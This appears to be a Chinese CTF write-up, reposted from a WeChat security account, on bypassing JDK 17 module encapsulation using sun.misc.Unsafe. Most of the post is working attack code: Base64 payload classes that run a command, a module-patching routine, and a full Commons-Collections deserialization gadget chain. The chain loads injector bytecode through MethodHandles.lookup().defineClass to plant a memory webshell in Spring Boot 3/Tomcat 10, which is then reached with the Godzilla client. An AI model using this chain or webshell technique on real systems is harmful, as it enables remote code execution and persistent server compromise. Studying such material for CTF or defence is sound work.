JDK高版本的模块化以及反射类加载限制绕过

前言

打巅峰极客的时候遇到的一个东西,觉得很有必要学习一下。当时题目直接给出“JDK17+CB”反序列化,我由于对高版本JDK有一种陌生的恐惧感,写EXP时有点畏手畏脚,最终导致题目没有做出来,赛后观摩了其他做出来师傅的WP,发现其实这个问题只要熟悉了就还能做。

JDK9之后的模块化

Java模块化主要是用来解决依赖的问题,以及给原生JDK瘦身这两个作用。

在此之前,java项目一般都是由一堆class文件组成,管理这一堆class文件东西叫jar。但是这些class的有分两类,一类是我们自己项目的class,一类是各种依赖的class。jar可不会管他们之前的关系,他只是用来存放这些class的。所以一旦出现漏写某个依赖class所对应的jar,程序就会报”ClassNotFoundException”的异常。

也正是为了避免这种问题,JDK9之后开始推行模块化,具体体现在:如果a.jar依赖于b.jar,那么对于a这个jar就需要写一份依赖说明,让a程序编译运行的时候能够直接定位到b.jar。这个功能主要就是通过module-info.class中的定义的。

了解上述定义即可,现在主要是探究模块化关于漏洞利用这一块的限制。首先就是class的访问权限,一般就分为public protected private和默认的包访问限制,但是到了模块化之后折现访问权限就仅限于当前模块了,除非目标类所在模块明确在module-info中指出了该类可被外部调用,不然依然无法获取到。

JDK17新特性–强封装

Oracle官方上述文档中提到了Strong Encapsulation,这个主要就是针对java*包下的所有非public字段的如果我们在JDK17的时候对java*下的非公共字段进行反射调用的话就会直接报错。

参考链接:

https://docs.oracle.com/en/java/javase/17/migrate/migrating-jdk-8-later-jdk-releases.html#GUID-7BB28E4D-99B3-4078-BDC4-FC24180CE82B

其实这个东西在JDK9之后就开始被标记为了不安全选项,但是由于很多大型项目之前都会直接使用反射这个功能,所以直到JDK17才将其强制化。

这里写一段示例代码:

package org.example;            
import java.lang.reflect.Method; import java.util.Base64;
public class Test { public static void main( String[] args ) throws Exception { String payload="yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24HABYBABBvcmcvZXhhbXBsZS9FdmlsAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvRXZpbDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhACEAFQACAAAAAAACAAEABQAGAAEAFwAAAC8AAQABAAAABSq3AAGxAAAAAgAYAAAABgABAAAAAwAZAAAADAABAAAABQAaABsAAAAIABwABgABABcAAABPAAIAAQAAAA64AAcSDbYAD1enAARLsQABAAAACQAMABMAAwAYAAAAEgAEAAAABgAJAAgADAAHAA0ACQAZAAAAAgAAAB0AAAAHAAJMBwATAAABAB4AAAACAB8="; byte[] bytes= Base64.getDecoder().decode(payload); Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", bytes, 0, bytes.length); } }  

恶意字节码构成,注意这里不能有Package的定义:

public class Evil {                static {                    try{                        Runtime.getRuntime().exec("calc");                    }catch(Exception e){                    }                }            }

理论上来说测试代码运行之后就会触发命令执行,但是在JDK17中就会出这样的报错,报错位置很容易定位到是SetAccessible中出了问题。

JDK高版本的模块化以及反射类加载限制绕过

但是JDK肯定不会就这么把反射这么强大的功能抛弃,他还是留了一手。先看看SetAccessible源码被改成什么样了   

public void setAccessible(boolean flag) throws SecurityException {                    SecurityManager sm = System.getSecurityManager();                    if (sm != null) sm.checkPermission(ACCESS_PERMISSION);                    setAccessible0(this, flag);                }

setAccessible0就是最终将当前反射获取到的变量中override属性值设置为true,不论是JDK8还是JDK17都是如此。重点是checkPermission的区别,JDK17中checkPermission最终调用到了checkCanSetAccessible方法:

private boolean checkCanSetAccessible(Class caller,                                                      Class declaringClass,                                                      boolean throwExceptionIfDenied) {                    if (caller == MethodHandle.class) {                        throw new IllegalCallerException();   // should not happen                    }            
Module callerModule = caller.getModule(); Module declaringModule = declaringClass.getModule(); //如果被调用的变量所在模块和调用者所在模块相同,返回true if (callerModule == declaringModule) return true; //如果调用者所在模块跟Object所在模块相同,则返回true if (callerModule == Object.class.getModule()) return true; //如果被调用模块没有定义,则返回true if (!declaringModule.isNamed()) return true;
String pn = declaringClass.getPackageName(); int modifiers; if (this instanceof Executable) { modifiers = ((Executable) this).getModifiers(); } else { modifiers = ((Field) this).getModifiers(); }
//如果当前被调用属性值是public,那就直接返回true // class is public and package is exported to caller boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers()); if (isClassPublic && declaringModule.isExported(pn, callerModule)) { // member is public if (Modifier.isPublic(modifiers)) { return true; }
//如果被调用属性是protected并且是static,返回true // member is protected-static if (Modifier.isProtected(modifiers) && Modifier.isStatic(modifiers) && isSubclassOf(caller, declaringClass)) { return true; } }
//如果在模块define中,定义了该属性值是open的,返回true // package is open to caller if (declaringModule.isOpen(pn, callerModule)) { return true; }
if (throwExceptionIfDenied) { // not accessible String msg = "Unable to make "; if (this instanceof Field) msg += "field "; msg += this + " accessible: " + declaringModule + " does not ""; if (isClassPublic && Modifier.isPublic(modifiers)) msg += "exports"; else msg += "opens"; msg += " " + pn + "" to " + callerModule; InaccessibleObjectException e = new InaccessibleObjectException(msg); if (printStackTraceWhenAccessFails()) { e.printStackTrace(System.err); } throw e; } return false; }

总结几个返回true的可能性:

•调用者所在模块和被调用者所在模块相同

•调用者模块与Object类所在模块相同

后续以及其他的还有的返回true的情况是该属性值本身的定义所决定的,我们无法改变。针对上面三种情况,我们可以通过unsafe模块来达成目的。

Unsafe模块的作用还有很多,属于是积累起来很不错的一块知识点,这里我们只记录如何通过Unsafe模块进行目标类所在moule进行修改:

整体的思路为:获取Object中module属性的内存偏移量,之后再通过unsafe中方法,将Object的module属性set进我们当前操作类的module属性中。

Unsafe修改类所属module

Unsafe模块中有几个方法相关:

1.objectFieldOffset   

JDK高版本的模块化以及反射类加载限制绕过用于获取给定类属性值的内存偏移量,用来找到module属性值的地方2.getAndSetObject

用来根据内存偏移量以及具体值,来给指定对象的内存空间进行变量设置,跟反射的功能差不多。

其实具体的操作有上述两个方法已经足够了,但unsafe中能够根据内存偏移量和具体值进行set操作的方法可不止这一个,比如putObject也可以实现这个功能,并且方法调用的给值都是相同的。

再看具体操作:

package org.example;            
import sun.misc.Unsafe;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64;
public class Test { public static void main(String[] args) throws Exception { String payload = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS"; byte[] bytes = Base64.getDecoder().decode(payload);
Class UnsafeClass=Class.forName("sun.misc.Unsafe"); Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe=(Unsafe) unsafeField.get(null); Module ObjectModule=Object.class.getModule();
Class currentClass=Test.class; long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass,addr,ObjectModule);

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); ((Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length)).newInstance(); } }

可能会有一个疑问:为什么我们获取到了Class的module内存偏移,就一定能够笃定当前类的内存偏移量与其相同呢?这个其实很好理解,因为所有的类都是继承自Class类的,并且module属性值不是某一个特定类的特定属性值,而是Class类中定义的,用于给所有类都设置的一段属性值,其他类是没有对其进行修改的,所以每一个类的module内存偏移量都是相同的48

之后再运行就能够成功执行恶意代码

JDK高版本的模块化以及反射类加载限制绕过

   

实战举例

这里我拿注入内存马举例,假设此时在Springboot3中存在如下路由:

import jakarta.servlet.http.HttpServletRequest;            import org.springframework.stereotype.Controller;            import org.springframework.web.bind.annotation.RequestMapping;            
import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.util.Base64;
@Controller public class AdminController {
@RequestMapping("/test") public void start(HttpServletRequest request) { try{ String payload=request.getParameter("shellbyte"); byte[] shell= Base64.getDecoder().decode(payload); ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(shell); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); objectInputStream.close(); }catch (Exception e){ e.printStackTrace(); } } }

在原生Springboot下存在高版本CB依赖,我们该如何去通过该反序列化接口打入内存马呢?这里其实就是巅峰极客上的一道Java题了,但是我没有给waf,还需要用到一些绕过手法,就不在这里补充。除了这一点,跟原题描述的场景是一样的。现在看到的解出方式是了解CB高版本依赖下是自带CC依赖的,并且该CC的版本不是很高,1.9.0的CB依赖下是CC3.2.1,还是存在一定的利用空间的,但是到了1.9.3(或者其他比较高版本的CB,具体没有去测),CC的依赖就变成了3.2.2的版本,有些关键类就用不了。

反序列化链构造及其相关绕过点

0x01 最终memshell注入绕过

templatesImpl在JDK高版本之后就无法再利用了,这里采取的思路还是通过InvokeTransformer,间接调用到defineClass进行字节码加载,所以一定会用到ChainedTransformer。但是有个麻烦事,就是我们还要去实例化一个ClassLoader,这放在反序列化链子里面去触发就很麻烦。这个时候就有一个新的反射调用的方式能够直接调用到defineClass加载字节码—MethodHandles,具体通过ChainedTransformer构造如下:           

Transformer[] transformers = new Transformer[]{                                new ConstantTransformer(MethodHandles.class),                                new InvokerTransformer("getDeclaredMethod", new                                           Class[]{String.class, Class[].class}, new Object[]{"lookup", new                                        Class[0]}),                                new InvokerTransformer("invoke", new Class[]                                        {Object.class, Object[].class}, new Object[]{null, new Object[0]}),                                new InvokerTransformer("defineClass", new Class[]                                        {byte[].class}, new Object[]{data}),                                new InstantiateTransformer(new Class[0], new                                        Object[0]),                                new ConstantTransformer(1)                        };                
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

起到的作用可以用一句代码来总结

MethodHandles.lookup().defineClass("your memshell byteCode")

这里再补充一下MethodHandles.lookup().defineClass的意思,我们定位到MethodHandles的lookup方法,发现它本质上是返回MethodHandles的一个内部类Lookup。并且注意此时传递了一个参数进去,是通过Reflection#getCallerClass()调用过后的结果传入:

JDK高版本的模块化以及反射类加载限制绕过

具体的绕过点:

此时的结果是org.apache.commons.collections.functors.InvokerTransformer,之后我们通过defineClass加载到的类必须要和此Caller类的包名相同,不然无法加载。具体的判断逻辑看defineClass:

JDK高版本的模块化以及反射类加载限制绕过

跟进makeClassDefiner方法,持续跟进到newInstance方法,中间有段trycatch块的内容,具体是用ASM处理指定字节码,并且获取到该加载类的全类名,存储为name变量。

JDK高版本的模块化以及反射类加载限制绕过

之后获取到具体类名,截取为index。pn具体就是加载类的全类名,然后此时pkgName就是调用类–InvokerTransformer的全类名:org.apache.commons.collections.functors。所以最终的效果就是判断调用类和指定加载类是否在同一包下,如果不在就不给你返回字节码内容ClassFile,直接抛出异常。所以我们指定Memshell注入器包名必须为org.apache.commons.collections.functors,恶意filter(或者其他什么组件)无所谓,我们可以在注入器中执行任意java代码的话,可以直接通过获取Context的ClassLoader,调用其defineClass进行字节码加载,就不需要用到MethodHandles.lookup().defineClass了。

0x02 JDK17-module绕过

这个内容前面补充过了,直接封装成一个方法用以方便多次调用即可

private static void patchModule(Class classname){                      try {                          Class UnsafeClass=Class.forName("sun.misc.Unsafe");                          Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe");                          unsafeField.setAccessible(true);                          Unsafe unsafe=(Unsafe) unsafeField.get(null);                          Module ObjectModule=Object.class.getModule();              
Class currentClass=classname.getClass(); long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass,addr,ObjectModule); }catch (Exception e){ e.printStackTrace(); } }

于是整体的反序列化链外壳已经初具模样了

package org.example;              
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.invoke.MethodHandles; import java.lang.reflect.Field; import java.net.URLEncoder; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class Demo { public static void main(String[] args) throws Exception{ patchModule(Demo.class); String shellinject="your memshell bytecode"; //byte[] data=Files.readAllBytes(Paths.get("H:\ASecuritySearch\javasecurity\CC1\JDK17Ser\src\main\java\org\example\shell.class"));; //byte[] data=Base64.getDecoder().decode(shellinject);

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(MethodHandles.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("defineClass", new Class[] {byte[].class}, new Object[]{data}), new InstantiateTransformer(new Class[0], new Object[0]), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); innerMap.remove("keykey");
setFieldValue(transformerChain,"iTransformers",transformers); System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(serialize(expMap)))); }

private static void patchModule(Class classname){ try { Class UnsafeClass=Class.forName("sun.misc.Unsafe"); Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe=(Unsafe) unsafeField.get(null); Module ObjectModule=Object.class.getModule();
Class currentClass=classname.getClass(); long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass,addr,ObjectModule); }catch (Exception e){ e.printStackTrace(); } } public static void setFieldValue(Object obj, String fieldName, Object value) { try { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }catch (Exception e){ e.printStackTrace(); } }
public static byte[] serialize(Object object) { try { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); objectOutputStream.close(); return byteArrayOutputStream.toByteArray(); }catch (Exception e){ e.printStackTrace(); } return null; }
}

0x03 注入器逻辑处理

首先就是我们注入器的包名必须是org.apache.commons.collections.functors,除此之外,由于也是执行java代码,并且不可避免的要用到反射调用非public字段的逻辑,所以我们还需要加上JDKModulepatch的功能,并且在所有注入逻辑之前执行。

JDK17下的filter相关信息组件又替换到了jakarta包下,必须重新考虑Class.forName初始化类时的包名。

还有很多问题,不过都是关于memshell注入的相关绕过和完善补充,本来的想法是用和队里师傅一起魔改的JMG生成一个,因为Tomcat10之后的情况补充我们已经改完了,但是JDK17modulepatch的逻辑还没有加上,正瞅着又要开始弄二开的时候,看了JMG更新了,补充modulepatch,就拿来再次二开了一下,用以解决跨线程注入的问题。具体的代码就不公开了,其实就是forName的时候注意指定ClassLoader就行,不然有些空线程没有设置Tomcat的类路径配置,无法加载Tomcat下的类

就直接拿改过的JMG生成一下,先测试正常情况下的Springboot3下的Tomcat10.x+JDK17能否成功注入:

JDK高版本的模块化以及反射类加载限制绕过

之后再将base64字节码放入反序列化链的data中:

package org.example;              
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.invoke.MethodHandles; import java.lang.reflect.Field; import java.net.URLEncoder; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class Demo { public static void main(String[] args) throws Exception{ patchModule(Demo.class); String shellinject=".........这里存入注入器字节码的base64编码"; byte[] data=Base64.getDecoder().decode(shellinject);

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(MethodHandles.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("defineClass", new Class[] {byte[].class}, new Object[]{data}), new InstantiateTransformer(new Class[0], new Object[0]), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); innerMap.remove("keykey");
setFieldValue(transformerChain,"iTransformers",transformers); System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(serialize(expMap)))); }

private static void patchModule(Class classname){ try { Class UnsafeClass=Class.forName("sun.misc.Unsafe"); Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe=(Unsafe) unsafeField.get(null); Module ObjectModule=Object.class.getModule();
Class currentClass=classname.getClass(); long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass,addr,ObjectModule); }catch (Exception e){ e.printStackTrace(); } } public static void setFieldValue(Object obj, String fieldName, Object value) { try { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }catch (Exception e){ e.printStackTrace(); } }
public static byte[] serialize(Object object) { try { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); objectOutputStream.close(); return byteArrayOutputStream.toByteArray(); }catch (Exception e){ e.printStackTrace(); } return null; }
}

发包进行测试:

JDK高版本的模块化以及反射类加载限制绕过

拿原始GodZilla连接即可:

JDK高版本的模块化以及反射类加载限制绕过

当然,这并不是巅峰极客的正确解法,那还需要涉及绕过Waf的问题,这里就不谈了。

参考

1、https://github.com/pen4uin/java-memshell-generator

2、Nu1l战队巅峰极客WP

原文始发于微信公众号(稻草人安全团队):JDK高版本的模块化以及反射类加载限制绕过

版权声明:admin 发表于 2024年9月4日 下午6:00。
转载请注明:JDK高版本的模块化以及反射类加载限制绕过 | CTF导航

相关文章